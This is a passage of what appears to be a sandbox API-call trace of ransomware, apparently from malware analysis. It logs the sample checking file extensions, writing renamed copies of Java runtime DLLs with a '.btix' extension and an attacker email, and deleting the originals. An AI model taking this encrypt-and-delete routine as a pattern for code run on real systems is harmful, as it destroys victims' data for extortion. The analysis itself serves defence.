returned 5 [0148.425] lstrcmpiW (lpString1=".docx", lpString2="r.dll") returned -1 [0148.425] lstrlenW (lpString=".pdf") returned 4 [0148.425] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0148.425] lstrlenW (lpString=".xls") returned 4 [0148.425] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0148.425] lstrlenW (lpString=".xlsx") returned 5 [0148.425] lstrcmpiW (lpString1=".xlsx", lpString2="r.dll") returned -1 [0148.425] lstrlenW (lpString=".ppt") returned 4 [0148.425] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0148.425] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jfr.dll") returned 46 [0148.425] lstrlenW (lpString=".zip") returned 4 [0148.425] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0148.425] lstrlenW (lpString=".rar") returned 4 [0148.425] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0148.425] lstrlenW (lpString=".bz2") returned 4 [0148.425] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0148.425] lstrlenW (lpString=".7z") returned 3 [0148.425] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0148.425] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jfr.dll") returned 46 [0148.426] lstrlenW (lpString=".dbf") returned 4 [0148.426] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0148.426] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jfr.dll") returned 46 [0148.426] lstrlenW (lpString=".1cd") returned 4 [0148.426] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0148.426] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jfr.dll") returned 46 [0148.426] lstrlenW (lpString=".jpg") returned 4 [0148.426] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0148.426] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jfr.dll") returned 46 [0148.426] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jfr.dll") returned 46 [0148.426] lstrlenW (lpString=".doc") returned 4 [0148.426] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0148.426] lstrlenW (lpString=".docx") returned 5 [0148.426] lstrcmpiW (lpString1=".docx", lpString2="r.dll") returned -1 [0148.426] lstrlenW (lpString=".pdf") returned 4 [0148.426] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0148.426] lstrlenW (lpString=".xls") returned 4 [0148.426] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0148.426] lstrlenW (lpString=".xlsx") returned 5 [0148.426] lstrcmpiW (lpString1=".xlsx", lpString2="r.dll") returned -1 [0148.426] lstrlenW (lpString=".ppt") returned 4 [0148.426] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0148.426] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jfr.dll") returned 46 [0148.426] lstrlenW (lpString=".zip") returned 4 [0148.426] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0148.426] lstrlenW (lpString=".rar") returned 4 [0148.426] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0148.426] lstrlenW (lpString=".bz2") returned 4 [0148.426] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0148.426] lstrlenW (lpString=".7z") returned 3 [0148.426] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0148.426] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jfr.dll") returned 46 [0148.426] lstrlenW (lpString=".dbf") returned 4 [0148.426] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0148.426] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jfr.dll") returned 46 [0148.427] lstrlenW (lpString=".1cd") returned 4 [0148.427] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0148.427] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jfr.dll") returned 46 [0148.427] lstrlenW (lpString=".jpg") returned 4 [0148.427] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0148.427] lstrcmpiW (lpString1=".dll", lpString2=".btix") returned 1 [0148.427] lstrlenW (lpString="jfxmedia.dll") returned 12 [0148.427] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jfxmedia.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\jfxmedia.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x34c [0148.761] GetFileSizeEx (in: hFile=0x34c, lpFileSize=0x365ff14 | out: lpFileSize=0x365ff14*=139840) returned 1 [0148.761] CloseHandle (hObject=0x34c) returned 1 [0148.761] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jfxmedia.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\jfxmedia.dll")) returned 0x20 [0148.761] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jfxmedia.dll.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\jfxmedia.dll.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0148.761] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jfxmedia.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\jfxmedia.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x34c [0148.761] SetFilePointerEx (in: hFile=0x34c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x365fec0 | out: lpNewFilePointer=0x0) returned 1 [0148.761] SetFilePointerEx (in: hFile=0x34c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x365fec0 | out: lpNewFilePointer=0x0) returned 1 [0148.761] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jfxmedia.dll.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\jfxmedia.dll.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x35c [0148.762] GetLastError () returned 0x0 [0148.762] ReadFile (in: hFile=0x34c, lpBuffer=0x4056020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x365fecc, lpOverlapped=0x0 | out: lpBuffer=0x4056020*, lpNumberOfBytesRead=0x365fecc*=0x22240, lpOverlapped=0x0) returned 1 [0148.806] WriteFile (in: hFile=0x35c, lpBuffer=0x4056020*, nNumberOfBytesToWrite=0x22250, lpNumberOfBytesWritten=0x365fc94, lpOverlapped=0x0 | out: lpBuffer=0x4056020*, lpNumberOfBytesWritten=0x365fc94*=0x22250, lpOverlapped=0x0) returned 1 [0148.809] ReadFile (in: hFile=0x34c, lpBuffer=0x4056020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x365fecc, lpOverlapped=0x0 | out: lpBuffer=0x4056020*, lpNumberOfBytesRead=0x365fecc*=0x0, lpOverlapped=0x0) returned 1 [0148.809] WriteFile (in: hFile=0x35c, lpBuffer=0x4056020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x365fc94, lpOverlapped=0x0 | out: lpBuffer=0x4056020*, lpNumberOfBytesWritten=0x365fc94*=0xec, lpOverlapped=0x0) returned 1 [0148.809] SetEndOfFile (hFile=0x35c) returned 1 [0148.809] CloseHandle (hObject=0x35c) returned 1 [0148.809] SetFilePointerEx (in: hFile=0x34c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x365fec0 | out: lpNewFilePointer=0x0) returned 1 [0148.809] SetEndOfFile (hFile=0x34c) returned 1 [0148.811] CloseHandle (hObject=0x34c) returned 1 [0148.811] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jfxmedia.dll.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x20) returned 1 [0148.811] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jfxmedia.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\jfxmedia.dll")) returned 1 [0148.811] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jfxmedia.dll") returned 51 [0148.811] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jfxmedia.dll") returned 51 [0148.811] lstrlenW (lpString=".doc") returned 4 [0148.811] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0148.811] lstrlenW (lpString=".docx") returned 5 [0148.811] lstrcmpiW (lpString1=".docx", lpString2="a.dll") returned -1 [0148.811] lstrlenW (lpString=".pdf") returned 4 [0148.811] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0148.811] lstrlenW (lpString=".xls") returned 4 [0148.811] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0148.811] lstrlenW (lpString=".xlsx") returned 5 [0148.811] lstrcmpiW (lpString1=".xlsx", lpString2="a.dll") returned -1 [0148.811] lstrlenW (lpString=".ppt") returned 4 [0148.811] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0148.811] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jfxmedia.dll") returned 51 [0148.811] lstrlenW (lpString=".zip") returned 4 [0148.811] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0148.811] lstrlenW (lpString=".rar") returned 4 [0148.811] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0148.811] lstrlenW (lpString=".bz2") returned 4 [0148.811] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0148.811] lstrlenW (lpString=".7z") returned 3 [0148.812] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0148.812] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jfxmedia.dll") returned 51 [0148.812] lstrlenW (lpString=".dbf") returned 4 [0148.812] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0148.812] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jfxmedia.dll") returned 51 [0148.812] lstrlenW (lpString=".1cd") returned 4 [0148.812] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0148.812] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jfxmedia.dll") returned 51 [0148.812] lstrlenW (lpString=".jpg") returned 4 [0148.812] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0148.812] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jfxmedia.dll") returned 51 [0148.812] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jfxmedia.dll") returned 51 [0148.812] lstrlenW (lpString=".doc") returned 4 [0148.812] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0148.812] lstrlenW (lpString=".docx") returned 5 [0148.812] lstrcmpiW (lpString1=".docx", lpString2="a.dll") returned -1 [0148.812] lstrlenW (lpString=".pdf") returned 4 [0148.812] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0148.812] lstrlenW (lpString=".xls") returned 4 [0148.812] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0148.812] lstrlenW (lpString=".xlsx") returned 5 [0148.812] lstrcmpiW (lpString1=".xlsx", lpString2="a.dll") returned -1 [0148.812] lstrlenW (lpString=".ppt") returned 4 [0148.812] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0148.812] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jfxmedia.dll") returned 51 [0148.812] lstrlenW (lpString=".zip") returned 4 [0148.812] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0148.812] lstrlenW (lpString=".rar") returned 4 [0148.812] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0148.812] lstrlenW (lpString=".bz2") returned 4 [0148.812] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0148.812] lstrlenW (lpString=".7z") returned 3 [0148.812] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0148.812] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jfxmedia.dll") returned 51 [0148.813] lstrlenW (lpString=".dbf") returned 4 [0148.813] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0148.813] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jfxmedia.dll") returned 51 [0148.813] lstrlenW (lpString=".1cd") returned 4 [0148.813] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0148.813] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jfxmedia.dll") returned 51 [0148.813] lstrlenW (lpString=".jpg") returned 4 [0148.813] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0148.813] lstrcmpiW (lpString1=".dll", lpString2=".btix") returned 1 [0148.813] lstrlenW (lpString="jpeg.dll") returned 8 [0148.813] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jpeg.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\jpeg.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x34c [0148.813] GetFileSizeEx (in: hFile=0x34c, lpFileSize=0x365ff14 | out: lpFileSize=0x365ff14*=185920) returned 1 [0148.813] CloseHandle (hObject=0x34c) returned 1 [0148.813] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jpeg.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\jpeg.dll")) returned 0x20 [0148.813] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jpeg.dll.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\jpeg.dll.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0148.813] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jpeg.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\jpeg.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x34c [0148.814] SetFilePointerEx (in: hFile=0x34c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x365fec0 | out: lpNewFilePointer=0x0) returned 1 [0148.814] SetFilePointerEx (in: hFile=0x34c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x365fec0 | out: lpNewFilePointer=0x0) returned 1 [0148.814] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jpeg.dll.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\jpeg.dll.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x35c [0148.814] GetLastError () returned 0x0 [0148.814] ReadFile (in: hFile=0x34c, lpBuffer=0x4056020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x365fecc, lpOverlapped=0x0 | out: lpBuffer=0x4056020*, lpNumberOfBytesRead=0x365fecc*=0x2d640, lpOverlapped=0x0) returned 1 [0148.830] WriteFile (in: hFile=0x35c, lpBuffer=0x4056020*, nNumberOfBytesToWrite=0x2d650, lpNumberOfBytesWritten=0x365fc94, lpOverlapped=0x0 | out: lpBuffer=0x4056020*, lpNumberOfBytesWritten=0x365fc94*=0x2d650, lpOverlapped=0x0) returned 1 [0148.832] ReadFile (in: hFile=0x34c, lpBuffer=0x4056020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x365fecc, lpOverlapped=0x0 | out: lpBuffer=0x4056020*, lpNumberOfBytesRead=0x365fecc*=0x0, lpOverlapped=0x0) returned 1 [0148.832] WriteFile (in: hFile=0x35c, lpBuffer=0x4056020*, nNumberOfBytesToWrite=0xe4, lpNumberOfBytesWritten=0x365fc94, lpOverlapped=0x0 | out: lpBuffer=0x4056020*, lpNumberOfBytesWritten=0x365fc94*=0xe4, lpOverlapped=0x0) returned 1 [0148.833] SetEndOfFile (hFile=0x35c) returned 1 [0148.833] CloseHandle (hObject=0x35c) returned 1 [0148.833] SetFilePointerEx (in: hFile=0x34c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x365fec0 | out: lpNewFilePointer=0x0) returned 1 [0148.833] SetEndOfFile (hFile=0x34c) returned 1 [0148.835] CloseHandle (hObject=0x34c) returned 1 [0148.835] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jpeg.dll.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x20) returned 1 [0148.835] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jpeg.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\jpeg.dll")) returned 1 [0148.835] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jpeg.dll") returned 47 [0148.835] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jpeg.dll") returned 47 [0148.835] lstrlenW (lpString=".doc") returned 4 [0148.835] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0148.835] lstrlenW (lpString=".docx") returned 5 [0148.835] lstrcmpiW (lpString1=".docx", lpString2="g.dll") returned -1 [0148.835] lstrlenW (lpString=".pdf") returned 4 [0148.836] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0148.836] lstrlenW (lpString=".xls") returned 4 [0148.836] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0148.836] lstrlenW (lpString=".xlsx") returned 5 [0148.836] lstrcmpiW (lpString1=".xlsx", lpString2="g.dll") returned -1 [0148.836] lstrlenW (lpString=".ppt") returned 4 [0148.836] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0148.836] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jpeg.dll") returned 47 [0148.836] lstrlenW (lpString=".zip") returned 4 [0148.836] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0148.836] lstrlenW (lpString=".rar") returned 4 [0148.836] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0148.836] lstrlenW (lpString=".bz2") returned 4 [0148.836] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0148.836] lstrlenW (lpString=".7z") returned 3 [0148.836] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0148.836] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jpeg.dll") returned 47 [0148.836] lstrlenW (lpString=".dbf") returned 4 [0148.836] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0148.836] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jpeg.dll") returned 47 [0148.836] lstrlenW (lpString=".1cd") returned 4 [0148.836] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0148.836] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jpeg.dll") returned 47 [0148.836] lstrlenW (lpString=".jpg") returned 4 [0148.836] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0148.836] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jpeg.dll") returned 47 [0148.836] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jpeg.dll") returned 47 [0148.836] lstrlenW (lpString=".doc") returned 4 [0148.836] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0148.836] lstrlenW (lpString=".docx") returned 5 [0148.836] lstrcmpiW (lpString1=".docx", lpString2="g.dll") returned -1 [0148.836] lstrlenW (lpString=".pdf") returned 4 [0148.837] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0148.837] lstrlenW (lpString=".xls") returned 4 [0148.837] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0148.837] lstrlenW (lpString=".xlsx") returned 5 [0148.837] lstrcmpiW (lpString1=".xlsx", lpString2="g.dll") returned -1 [0148.837] lstrlenW (lpString=".ppt") returned 4 [0148.837] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0148.837] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jpeg.dll") returned 47 [0148.837] lstrlenW (lpString=".zip") returned 4 [0148.837] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0148.837] lstrlenW (lpString=".rar") returned 4 [0148.837] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0148.837] lstrlenW (lpString=".bz2") returned 4 [0148.837] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0148.837] lstrlenW (lpString=".7z") returned 3 [0148.837] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0148.837] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jpeg.dll") returned 47 [0148.837] lstrlenW (lpString=".dbf") returned 4 [0148.837] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0148.837] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jpeg.dll") returned 47 [0148.837] lstrlenW (lpString=".1cd") returned 4 [0148.837] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0148.837] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jpeg.dll") returned 47 [0148.837] lstrlenW (lpString=".jpg") returned 4 [0148.837] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0148.837] lstrcmpiW (lpString1=".dll", lpString2=".btix") returned 1 [0148.837] lstrlenW (lpString="jsdt.dll") returned 8 [0148.837] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jsdt.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\jsdt.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x34c [0148.838] GetFileSizeEx (in: hFile=0x34c, lpFileSize=0x365ff14 | out: lpFileSize=0x365ff14*=18496) returned 1 [0148.838] CloseHandle (hObject=0x34c) returned 1 [0148.838] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jsdt.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\jsdt.dll")) returned 0x20 [0148.838] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jsdt.dll.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\jsdt.dll.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0148.838] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jsdt.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\jsdt.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x34c [0148.838] SetFilePointerEx (in: hFile=0x34c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x365fec0 | out: lpNewFilePointer=0x0) returned 1 [0148.838] SetFilePointerEx (in: hFile=0x34c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x365fec0 | out: lpNewFilePointer=0x0) returned 1 [0148.838] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jsdt.dll.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\jsdt.dll.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x35c [0148.839] GetLastError () returned 0x0 [0148.839] ReadFile (in: hFile=0x34c, lpBuffer=0x4056020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x365fecc, lpOverlapped=0x0 | out: lpBuffer=0x4056020*, lpNumberOfBytesRead=0x365fecc*=0x4840, lpOverlapped=0x0) returned 1 [0148.841] WriteFile (in: hFile=0x35c, lpBuffer=0x4056020*, nNumberOfBytesToWrite=0x4850, lpNumberOfBytesWritten=0x365fc94, lpOverlapped=0x0 | out: lpBuffer=0x4056020*, lpNumberOfBytesWritten=0x365fc94*=0x4850, lpOverlapped=0x0) returned 1 [0148.842] ReadFile (in: hFile=0x34c, lpBuffer=0x4056020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x365fecc, lpOverlapped=0x0 | out: lpBuffer=0x4056020*, lpNumberOfBytesRead=0x365fecc*=0x0, lpOverlapped=0x0) returned 1 [0148.842] WriteFile (in: hFile=0x35c, lpBuffer=0x4056020*, nNumberOfBytesToWrite=0xe4, lpNumberOfBytesWritten=0x365fc94, lpOverlapped=0x0 | out: lpBuffer=0x4056020*, lpNumberOfBytesWritten=0x365fc94*=0xe4, lpOverlapped=0x0) returned 1 [0148.842] SetEndOfFile (hFile=0x35c) returned 1 [0148.842] CloseHandle (hObject=0x35c) returned 1 [0148.842] SetFilePointerEx (in: hFile=0x34c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x365fec0 | out: lpNewFilePointer=0x0) returned 1 [0148.842] SetEndOfFile (hFile=0x34c) returned 1 [0148.843] CloseHandle (hObject=0x34c) returned 1 [0148.843] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jsdt.dll.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x20) returned 1 [0148.843] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jsdt.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\jsdt.dll")) returned 1 [0148.843] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jsdt.dll") returned 47 [0148.843] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jsdt.dll") returned 47 [0148.843] lstrlenW (lpString=".doc") returned 4 [0148.843] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0148.843] lstrlenW (lpString=".docx") returned 5 [0148.844] lstrcmpiW (lpString1=".docx", lpString2="t.dll") returned -1 [0148.844] lstrlenW (lpString=".pdf") returned 4 [0148.844] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0148.844] lstrlenW (lpString=".xls") returned 4 [0148.844] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0148.844] lstrlenW (lpString=".xlsx") returned 5 [0148.844] lstrcmpiW (lpString1=".xlsx", lpString2="t.dll") returned -1 [0148.844] lstrlenW (lpString=".ppt") returned 4 [0148.844] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0148.844] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jsdt.dll") returned 47 [0148.844] lstrlenW (lpString=".zip") returned 4 [0148.844] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0148.844] lstrlenW (lpString=".rar") returned 4 [0148.844] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0148.844] lstrlenW (lpString=".bz2") returned 4 [0148.844] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0148.844] lstrlenW (lpString=".7z") returned 3 [0148.844] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0148.844] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jsdt.dll") returned 47 [0148.844] lstrlenW (lpString=".dbf") returned 4 [0148.844] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0148.844] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jsdt.dll") returned 47 [0148.844] lstrlenW (lpString=".1cd") returned 4 [0148.844] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0148.844] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jsdt.dll") returned 47 [0148.844] lstrlenW (lpString=".jpg") returned 4 [0148.844] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0148.844] lstrlenW (lpString="C:\\Program 